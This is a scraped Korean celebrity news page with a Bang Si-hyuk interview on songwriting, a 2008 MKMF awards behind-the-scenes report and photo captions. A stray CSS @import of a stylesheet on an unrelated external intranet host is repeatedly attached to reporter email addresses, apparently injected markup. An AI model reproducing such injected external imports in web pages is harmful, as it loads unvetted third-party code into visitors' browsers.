miyoun@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘히트맨’ 방시혁 “‘스타 작곡가’를 꿈꾼다면…” (인터뷰)

    ‘히트맨’ 방시혁 “‘스타 작곡가’를 꿈꾼다면…” (인터뷰)

    ‘신들린 감(感)’을 자랑하는 작곡가 겸 프로듀서 방시혁은 일명 ‘히트맨(HIT MAN)’으로 통한다. 비, 박진영, 김건모, 원더걸스, 임창정, GOD, 보아, 에픽하이 등 국내 정상급 가수들의 앨범 다수가 그의 감(感)에서 탄생됐다. 10곡도 넘는 1위곡 보유자며 빌보드 가수에게 러브콜을 받는다. 광고계에선 ‘마이더스의 손’으로 불린다. 샐러드송, 달라송, 뉴웨이즈 올웨이즈 등 그가 손을 댄 CM송들은 하나같이 광고 음악계를 진두지휘해왔다. 이 시대 가요계 최고의 ‘흥행 수표’ 방시혁을 만났다. ‘쑥맥 서울대생’에서 ‘잘 나가는 작곡가’로, 자신 안에 잠재된 ‘음악적 창조성’을 발견하기까지…. ‘200% 만족하는 삶’을 살고 있는 이 남자의 이야기를 공개한다. 인기 작곡가이자 NO.1 프로듀서인 이 남자의 성공법은 무엇일까. ○ 박진영과의 인연 “시류를 잘 만난 작곡가” 서울대 미학과를 졸업했다. 95년 제 6회 ‘유재하 가요제’에서 동상을 수상하며 ‘작곡가의 길’에 들어섰다. 중학교 밴드 시절 기타를 배운 것이 전부다. 작곡에 대한 기초지식도 없었다. 스승도, 정보를 얻을만한 창구도 없었지만 두렵지 않았다. 가슴을 꽉 매운 ‘음악 열정’ 하나 만큼은, 그 누구에게도 뒤지지 않는다는 굳은 신념 때문이었다. 물론 ‘재능과 열정’이 넘쳐나도 ‘운(Luck)’이 따르지 않으면 ‘기회’는 오지 않을 수 있다. 이러한 측면에서 박진영을 만난 방시혁은 운이 좋았다. 그는 스스로를 “시류(時流) 를 잘 만난 작곡가”라고 일컬었다. 시기는 거슬러 올라가 97년. 방시혁의 데모 음반을 들은 박진영의 마음이 흔들렸다. “파트너가 되지 않겠냐.”는 제의에 2000년 함께 JYP를 창립했다. 이후 방시혁은 박진영 3집을 시작으로 비, 별, 노을, 박지윤 등 소속 가수에게 수많은 인기곡을 안기며 명실공히 ‘JYP 수석작곡가’로 우뚝 서게 됐다. “90년대 말 대중문화가 열리던 시점에 박진영이란 든든한 후원자를 만났으니 ‘기가 막힌 시류’를 탄 셈이죠. 지금도 무명 제작자를 만났으면 묻혔을 꺼란 생각에 감사해요. 그렇다고 막연한 기회를 바라는 것은 금물이에요. 기회는 노력하는 이에게 오는 행운이죠.” ○ “곡 쓸 땐 신내림”… 내 안의 그녀를 끌어내라. 백지영의 ‘총 맞은 것처럼’, 이수영·백찬 ‘무슨 사랑이 그래요’, 비의 ‘I do’, 박진영 ‘Kiss me’, 임정희 ‘Music is my life’, 박지윤의 ‘난 사랑에 빠졌죠’ 등 모두 한 순간의 영감으로 써내린 곡이다. “옆에서 보면 ‘신들린 사람’ 같대요.(웃음) 시간과 장소에 상관없이 갑자기 음상이 떠오를 때가 있어요. 설명할 수 없는 짜릿함이죠. 행여 그 음상을 잃어버릴까 악보에 옮기는 순간까지 수백번씩 읊조리곤 해요. 가사와 멜로디를 한꺼번에 써 내려가기 시작하는데 대개 단 몇 분도 안걸려요. 전율이 오는 순간이죠.” 특히 그가 작사한 음악을 듣고 있노라면 ‘남자 작곡가’라 믿기 힘들 정도다. 벌거벗은 여심(女心)을 훤히 들여다보는 듯 섬세하고 날카로운 필체는 ‘혹 연애왕은 아닐까’하는 의구심 마저 불러 일으킨다. 방시혁은 “다만 내 안에 여자가 살고 있을 뿐”이라며 놀라운 발언을 던졌다. “곡을 쓸 때, 내 안에 숨어있던 여자가 나와요. 남자가 못느끼는 감정을 읽어내는 거죠. 여자들은 사랑을 할 때 남자들보다 센서티브(민감)하잖아요. 곡을 쓰는 순간 만큼은 완전히 그 당사자가 되는거죠. 그래야 풍부한 글귀가 나올 수 있고요.” 그렇다고 ‘영감’만으로 쉽게 작업하는 작사가로 보면 안된다. ‘완벽주의자’인 방시혁은 곡을 완성한 후 주변 여성들에게 일일히 모니터 받는 꼼꼼함을 잊지않고 있었다. 물론 반응은 매한가지. “오빠, 소름 끼칠 정도로 딱! 여자마음이야.” ○ 감(感)을 얻고 싶거든 ‘순간 집중력’을 높여라. 음악적인 ‘감’은 타고나는 것일까. 100% 선천적이 아니라면, 소위 후천적으로 ‘감 잡을 수 있는’ 방법은 없을까. 방시혁은 명쾌한 답변을 안겼다. 바로 ‘순간 집중력’을 높이라는 것. ’감’과 ‘집중력’은 종이 한장 차이라는 것이 그의 설명이다. “감이 최고조에 이를 때 최고의 히트곡이 탄생하죠. 중요한 건 ‘순간 집중력’을 높이는 거예요. 거짓말처럼 집중력이 쫙 올라가면서 표현하고자 했던 감정에 함몰되는 기적같은 순간이 있어요. 그 순간을 놓치면 안되죠.” 하지만 유명 작곡가라고 해서 주기적으로 히트곡을 양산해 낸다는 것은 불가능하다. 작곡가의 숙명이자 딜레마인 이 점에 대해 방시혁은 “나 역시 늘 슬럼프를 달고 살았다.”고 고백했다. “단 몇 개월만 히트곡이 없어도 주변인에게 ‘감 잃은게 아니냐’는 얘기가 들려요. 마음대로 되는 일도 아닌데…혼자 끙끙 앓고 괴로워했죠. 사실상 ‘슬럼프의 연속’이라 해도 과언이 아니었어요.” ‘어떻게 하면 감을 좋게 할 수 있을까’하고 매일 같이 고민하던 방시혁은 ‘새로운 경험’을 접하기로 결심했다. “낮에는 되도록 많은 예술계 인물들을 만나 대화를 가졌어요. 밤에는 유행하는 클럽을 찾아 시세를 파악했고요. 대중들이 원하는 트렌드를 앞서 짚으려 노력했죠.” 그가 택한 방법은 정통했다. 방시혁은 댄스 장르 아이돌 그룹이 점령한 현 가요계에 돌파구를 뚫었다. 발라드 음악의 갈증나 있지만 댄스음악에 길들여져 있는, 그러나 늘어지고 지루한 느낌의 발라드에 실증난 대중들에게 귀에 착 감기는 음악을 제시한 것. 비트감과 리듬감을 살리되, 애절한 가사가 특징인 일명 ‘방시혁표 네오 발라드’는 이미 가요계에서 선전하고 있다. 단 몇 초 만에 써내려간 백지영의 ‘총 맞은 것처럼’은 단박에 1위를 차지, 그의 진보적인 프로듀싱력을 입증해 보였다. ○ ‘미친 열정’있는 ‘당신’만 도전하라. 작곡가를 희망하는 이들에게 조언을 구하자 “웬만하면 하지 마세요.”라고 딱 자르는 방시혁의 대답에 당혹스러웠다. 그는 ‘작곡가’란 직업이 낭만적으로 미화되어 비춰지는 것을 우려했다. “음악 외 어떠한 인생의 대안도 없다고 판단되야 합니다. 진심으로 다른 삶은 상상조차 할 수 없고, 정말로 안하면 못살 것 같은 ‘미친 열정’을 가진 분만 도전하세요.” 단순히 겁을 주려는 것이 아니다. 10여년이 넘는 세월 동안, 어설픈 용기로 작곡가의 길에 들어서고 중도하차해 ‘원치않는 삶 2장’을 연 이들을 숱하게 지켜봤기 때문이다. “재능, 운, 지구력의 3박자가 맞아야 해요. 이 모든 것을 부르는 것은 ‘노력과 열정’이라고 생각합니다. 제 경우, 데모 테잎 하나를 만들 때도 쏟을 수 있는 모든 정성을 투영했어요. 건반을 칠 땐 다리 사이에 땀띠가 날 정도로, 기타를 칠 땐 안고 잠들 정도로 했고요…. 노력하는 자에게는 반드시 기회가 올 것이라 확신합니다.” 마지막으로 ‘작곡가로서 산다는 것’에 대한 만족도를 물었다. 질문이 채 끝나기도 전에 ‘200%’라는 숫자가 불쑥 튀어 나왔다. “이 이상, 어떻게 더 좋겠습니까!”라며 환하게 웃는 이 남자, 세상 그 누구보다 행복해 보였다. 즐기는 이를 누가 이길 것인가…. 스타 작곡가를 꿈꾼다면 방시혁 처럼. 바로 ‘그’ 안에 답이 있었다. 서울신문NTN 최정주 기자 joojoo@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 이효리도 놀란 탑 키스?…MFMF가 밝힌 뒷이야기

    이효리도 놀란 탑 키스?…MFMF가 밝힌 뒷이야기

    이효리와 탑의 키스신부터 동방신기, 원더걸스, 빅뱅 등의 대한민국 대표 그룹의 대상 수상까지. 지난 11월 15일 해마다 국내 첫 연말 음악 시상식의 문을 열였던 MKMF가 10주년을 맞아 한ㆍ중ㆍ일 생중계까지 성공시키며 성황리에 막을 내렸다. 숱한 화제와 세간의 이목을 집중시켰던 MKMF는 특히 올 해 연이은 음악 시상식의 폐지 속에 오히려 더 풍성해진 구성과 한 단계 진보한 퍼포먼스들을 대거 선보이며 음악 팬들의 갈증을 해소시키기에 충분했다. 이 날 4시간 생방송을 위해 3달 전 꾸려진다는 MKMF 사무국은 오직 이 행사를 위해 10명의 메인 PD가 투입 “음악 쇼의 본보기가 되어야 한다.”는 사명감으로 주말 없이 철야 작업이 진행됐다. “1년 내내 MKMF를 염두에 두고 있다 해도 과언이 아니다. 여름 20’s Choice가 끝나자마자 본격적인 MKMF 준비에 돌입했다.”는 사무국 측은 “행사 당일에는 Mnet/KM 연출진은 물론 엠넷미디어 전 직원이 동원될 만큼 남다른 공을 들인다.”고 전했다. MKMF는 ‘Mnet/KM의 1년 농사’라 불릴 정도”라며 MKMF 의미를 밝혔다. 쏟은 정성만큼이나 표면에 드러난 숱한 화제거리 아래에는 더 다양하고 흥미로운 비하인드 스토리가 숨겨져 있는 MKMF! 이제는 말할 수 있다며 MKMF 측이 공개한 2008 MKMF 그 뒷이야기는 ‘아는 만큼 보인다’는 옛말처럼 쇼를 보는 재미를 한층 더해줄 것이다. # MKMF 동원된 스텝만 1000여 명, 최대 방대한 스케일 자랑 일단 스케일부터 방대하다. 동원된 스텝만도 1000여 명 이상의 규모를 자랑하는 2008 MKMF는 역대 최대 수준으로 평균 500~700명 정도의 2배 가량 인원이 투입됐다. 이는한ㆍ중ㆍ일 생중계는 물론 국내에서 볼 수 없는 360도 원형 무대 때문이라고 하는데 올 해 유난히 대형 퍼포먼스를 동원하는 아티스트들이 대거 참여하면서 이들을 수용할 무대에도 역대 최고의 투자와 최신 시스템이 도입되면서 스태프 수가 대거 증가됐다. “국내 어느 시상식에도 이 정도의 인원이 동원되는 곳은 없을 것”이라 자부한 사무국 측은 방송, 무대, 기술, 운영, 연출 등 곳곳에 배치된 스텝들은 보이지 않는 곳에서 아티스트를 더욱 빛나게 해주는 일등공신이라 강조했다. # 이효리-탑 “무대 위 이효리 실제로 당황했을 것” 한편 최고의 화제를 낳은 빅뱅의 탑과 이효리의 무대는 “가장 자신 있고 멋있는 공연을 하고 싶다.”는 두 아티스트와 제작진의 합작품으로 탄생됐다. 입맞춤을 선보이자는 연출진의 제안에 모두 흔쾌히 찬성했지만 리허설 전까지 확실한 결정을 짓지 않았다고 한다. “처음 손이나 볼이 어떨까 제안하자 이효리와 빅뱅 멤버들이 너무 어려 보인다고 손사래를 쳐 한바탕 웃음이 터졌다.”는 연출진은 “동선 하나하나 치밀하게 계산된 공연, 입맞춤도 물론 사전에 짜여진 것이었다. 하지만 이효리에게는 최종적으로 입맞춤이 이마인지 입술인지 결정된 사항을 강조하지 않았다. 보다 깜짝 퍼포먼스처럼 보였으면 좋겠다는 생각에 이효리에게 만큼은 최종 결론을 열어둔 채 진행했다.”고 밝혔다. 실제 이 날 약간 놀라는 이효리의 표정 때문에 더 많은 논란이 일어났다. 제작진은 “무엇보다 주변을 맴돌며 최고의 긴장감을 조성하는 탑의 완벽한 퍼포먼스가 압권이었다. 무대 오르기 전에는 걱정하더니 역시 무대 체질의 프로였다.”고 감탄했다. # 김창완 “80명이 한 무대! 헤어밴드 덕분에 오빠 소리 들어” 선후배를 넘어 아티스트와 아티스트로서의 만남을 예고했던 김창완 밴드와 에픽하이의 무대는 시상식을 초월해 ‘음악 축제란 이런 것이다’를 몸소 보여줬던 감동의 무대였다. 고려대학교 관악부로 구성된 브라스 밴드 20 여명, 댄서, 서커스, 발레리나 등의 보조 출연자 20여 명, 두 밴드 인원 8명, 여기에 타블로의 제안에 즉석에서 무대로 뛰쳐나온 후배 가수들 30여 명 등 대략 80여 명의 대 인원이 어우려졌던 대형 무대는 하늘로 솟는 풍선과 공연장을 가득 채운 볼거리, 흥에 겨운 아티스트들의 음악으로 현장 분위기를 단숨에 돋구었다. 이 무대를 담당한 연출진은 “예상보다 너무 많은 인원이 올라와 깜짝 놀랐다. 개인적으로 짜여진 동선을 선호하는 타입이라 원했던 그림은 아니었지만 오히려 많은 가수들이 즐거워하는 모습을 보니 기분은 좋았다.”는 소감을 전했다. 한편 파격적인 헤어밴드로 눈길을 끈 김창완을 두고 애초 스타일리스트는 헤어밴드를 거부하면 어떡하나 걱정이 컸다고 한다. 그러나 흔쾌히 헤어밴드를 머리에 두른 김창완은 추후 “이 헤어밴드 이후에 오빠라고 부르겠다는 후배들의 문자가 늘었다.”며 웃음을 지었다는 후문이다. # 브아걸 “퍼포먼스 강한 쥬얼리 때문에 긴장! 더 더 강하게!” 깜찍 발랄함의 대명사 브라운 아이드 걸스의 파격 변신도 이번 MKMF의 핫 이슈로 떠올랐다. 더욱이 흰옷에 토마토를 이용한 하드코어 퍼포먼스는 이슈를 넘어 논란을 낳기도 했다. 쥬얼리와 함께 락 버전의 변신을 시도한 브라운 아이드 걸스는 “퍼포먼스에 강한 쥬얼리와 함께 서는 무대라 부담감이 컸다. 무척 긴장했다.”는 속내를 털어놓았다. ‘더 강해야 한다’는 강박관념까지 가졌다는 이들은 6시간 내내 진행된 음원 녹음은 물론 직접 토마토 퍼포먼스를 준비하는 등 열정을 보여주는 한편 처음으로 시도한 변신에 매우 큰 만족감을 드러냈다. 또한 무대 퍼포먼스라면 어디에도 뒤지지 않는 자우림 역시 김윤아가 직접 무대 의상을 주도하며 완벽한 여신 변신에 성공, 오히려 제작진을 깜짝 놀라게 했다는 후문이다. 이 외에도 음악으로 승부하겠다고 예고한 MKMF는 아티스트 외 퍼포먼스를 최대한으로 지양, 순수하게 가수들을 위한 자리로 만드는 데 주력했다. 오프닝 무대의 이민기 역시 배우로서가 아닌 오래 전 음악인의 꿈을 키웠던 아티스트로 출연해 음악에 대한 소원을 무대에서 이뤄냈다. 또한 유명 MC 체제에 갇힌 기존 시상식의 틀에서 벗어나 음악과 MKMF에 관계된 사람들로 구성된 오픈 릴레이 진행 방식을 도입, 신선했다는 평가를 받고 있다. 이는 보다 스피디한 진행과 음악 자체에 대한 집중도를 높임으로써 더욱 다양한 공연 시간을 확보하고 집중력 높은 무대를 선보이는 데 큰 몫으로 작용했다. 서울신문NTN 서미연 기자 miyoun@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NOW포토] 김창완 ‘오늘 제대로 놀아보자구!’

    [NOW포토] 김창완 ‘오늘 제대로 놀아보자구!’

    가요계 별들이 총 출동하는 ‘2008 Mnet KM 뮤직 페스티벌(MKMF)’ 행사가 15일 오후 서울 잠실실내체육관에서 열렸다. 이날 에픽하이와 함께 무대에 오른 김창완이 후배 가수들과 열정적인 공연을 선보이고 있다. 서울신문NTN 한윤종기자 han0709@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [NOW포토] ‘힙합음악상’ 에픽하이 “못생겨도 음악은 좋죠”

    [NOW포토] ‘힙합음악상’ 에픽하이 “못생겨도 음악은 좋죠”

    2008 Mnet KM 뮤직 페스티벌’(이하 2008 MKMF)에서 그룹 에픽하이가 ‘힙합 음악상’을 시상했다. 트로피를 거머쥔 타블로는 “오늘 수상자 중에 외모가 가장 떨어지는 수상자인 것 같다.”며 “앞으로 좋은 음악을 선보이겠다.”는 수상 소감을 전했다. 올해로 10주년을 맞는 올해 첫 가요시상식 MKMF가 15일 서울 잠실 실내체육관에서 열렸다. 5시부터 7시까지 레드카펫이, 오후 7시부터 11시까지 시상식이 진행된 가운데 에픽하이는 선배가수 김창환과 우정의 특별 무대를 선보였다. 서울신문NTN 한윤종기자 han0709@seoulntn.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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